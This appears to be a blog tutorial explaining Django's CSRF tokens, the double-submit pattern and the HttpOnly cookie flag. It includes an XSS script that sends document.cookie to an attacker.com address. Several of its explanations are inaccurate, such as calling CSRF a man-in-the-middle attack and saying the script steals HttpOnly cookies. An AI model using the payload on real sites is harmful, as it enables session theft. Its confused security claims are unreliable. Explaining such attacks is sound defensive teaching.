CSRF Token and HttpOnly

CSRF Token

Web application security is of paramount importance in today’s digital landscape, where cyber threats are constantly evolving. Two critical measures that Djangoemploys to enhance security are the CSRF (Cross-Site Request Forgery) token and the HttpOnly flag. In this article, we will delve into the significance of CSRF token and understand how they protect Django applications from common web vulnerabilities.

CSRF attacks exploit the trust between a web application and its authenticated users. An attacker tricks a victim into performing unintended actions such as man-in-the-middle attack on the application by forging requests. Django utilizes CSRF tokens to combat with this thread. A CSRF token is a unique and random value associated with a user’s session that is required for every non-safe HTTP request (POST, PUT, DELETE).

By default, Django does not require CSRF tokens for GET requests. This is because GET requests are considered “safe” as they are intended for retrieving data and should not modify server-side resources.

How it works:

  1. When a user visits the site, the server generates a token and embeds it into the user’s session.
  2. The server sends the token to the client, usually as a cookie or a hidden form field.
  3. When the user submits a form or performs a non-safe action, the token is included in the request.
  4. The server verifies the submitted token with the token stored in the user’s session. If they match, the request is considered valid.

By employing CSRF tokens, Django ensures that every request originates from within the application and is not maliciously forged. This prevents unauthorized actions and protects users from being manipulated into performing unintended operations.

Double submitting the token

How does a system work like pastebin, where thousands of anonymous people paste code daily? Double-submitting the token is a technique used to enhance the CSRF protection, since attackers’ forging area is generally the request body and they ignore the headers. By requiring the token to be present and matching in two separate locations, the form and the custom header, the double-submitting technique adds an extra layer of protection against CSRF attacks. Even if an attacker manages to forge a request and includes the token in the form data, they would still need to guess or obtain the same token value for the custom header, which is (a bit) more challenging, because now the attack will need more time to handle that. It involves sending the token in two separate ways within a request to provide an additional layer of defense against CSRF attacks. Django also has CSRF double submit protection. handled:

  1. When generating the HTML form, the server includes the CSRF token as a hidden input field within the form, as usual.
  2. In addition to the CSRF token within the form, the server also includes the same token in a different location, typically within a custom HTTP header.
  3. When the client submits the form or performs a non-safe request, both the form data and the custom HTTP header are sent to the server.
  4. On the server side, the CSRF protection mechanism checks for the presence of the token in both the form data and the custom header.
  5. The server then compares the token values from the two locations. If the tokens match, the request is considered valid and is processed further.

HttpOnly flag

The HttpOnly attribute is primarily designed to mitigate the risk of client-side script accessing a cookie’s value, such as CSRF token. It prevents JavaScript code from accessing cookies marked as HttpOnly aiming to thwart attacks like session theft through client-side script execution.

you know, an example scenario, forging this script in a field in an address form and stealing the user cookie… :

<script>
  // Malicious script to steal HttpOnly cookies
  var stolenCookies = document.cookie;
  new Image().src = 'https://attacker.com/steal?cookies=' + encodeURIComponent(stolenCookies);
</script>

In this scenario, the attacker injects the malicious script into a user comment. When a victim, let’s call them Bob, visits the page and loads the compromised content, the script executes within the context of the target website. As a result, the attacker successfully retrieves the victim’s cookies by accessing the document.cookie property. The stolen cookies are then sent to the attacker’s domain for further exploitation.

The attacker cannot access the CSRF token if it is marked as HttpOnly. The HttpOnly flag prevents JavaScript from accessing the cookie, so the attacker’s script will not be able to steal the cookie’s value.

The HttpOnly flag is a security feature that helps to protect sensitive information stored in cookies from being accessed by JavaScript. This can help to prevent Cross-Site Scripting (XSS) attacks, where an attacker can inject malicious JavaScript code into a website that can then be executed by the victim’s browser.

I will try to explain the subject by quoting more after this point, since what I will tell here may cause some confusion. You will see that the HttpOnly flag is disabled for csrf token by default in Django, because of the double submit pattern.

HttpOnly flag is explained as “The HttpOnly cookie attribute instructs web browsers not to allow scripts (e.g. JavaScript or VBscript) an ability to access the cookies via the DOM document.cookie object.” in OWASP cheatsheet.

In stackexchange, Anders says: “But the token must somehow be available so it can be double submitted – thats the whole point with it, after all. So Django solves this by including the value in a hidden form field. This negates the whole benefit of HttpOnly, since an attacker can just read the value of the form field instead of the cookie“.

Also from the the Django documentation: “If you enable this and need to send the value of the CSRF token with an AJAX request, your JavaScript must pull the value from a hidden CSRF token form input instead of from the cookie.”

In this case, if your JavaScript client needs to access the cookie value, it’s advisable not to set the cookie as HttpOnly. That’s why Django disabled it by default and implemented the double submit pattern. However, for maximum security it’s recommended to keep the security measures strict, with only a few exceptions like this. In that regard, it’s recommended to make the CSRF token HttpOnly. (Also, make your cookies Secure, it’s more important than HttpOnly.)

Anyway, the best way to deflect those types of attacks are sanitizing all user input before they are stored in a cookie or database and applying latest security patches.

Resources
https://docs.djangoproject.com/en/4.2/ref/csrf/
Cross-Site Request Forgery Prevention Cheat Sheet – OWASP
Session Management Cheat Sheet – OWASP
Does a CSRF cookie need to be HttpOnly? – stackexchange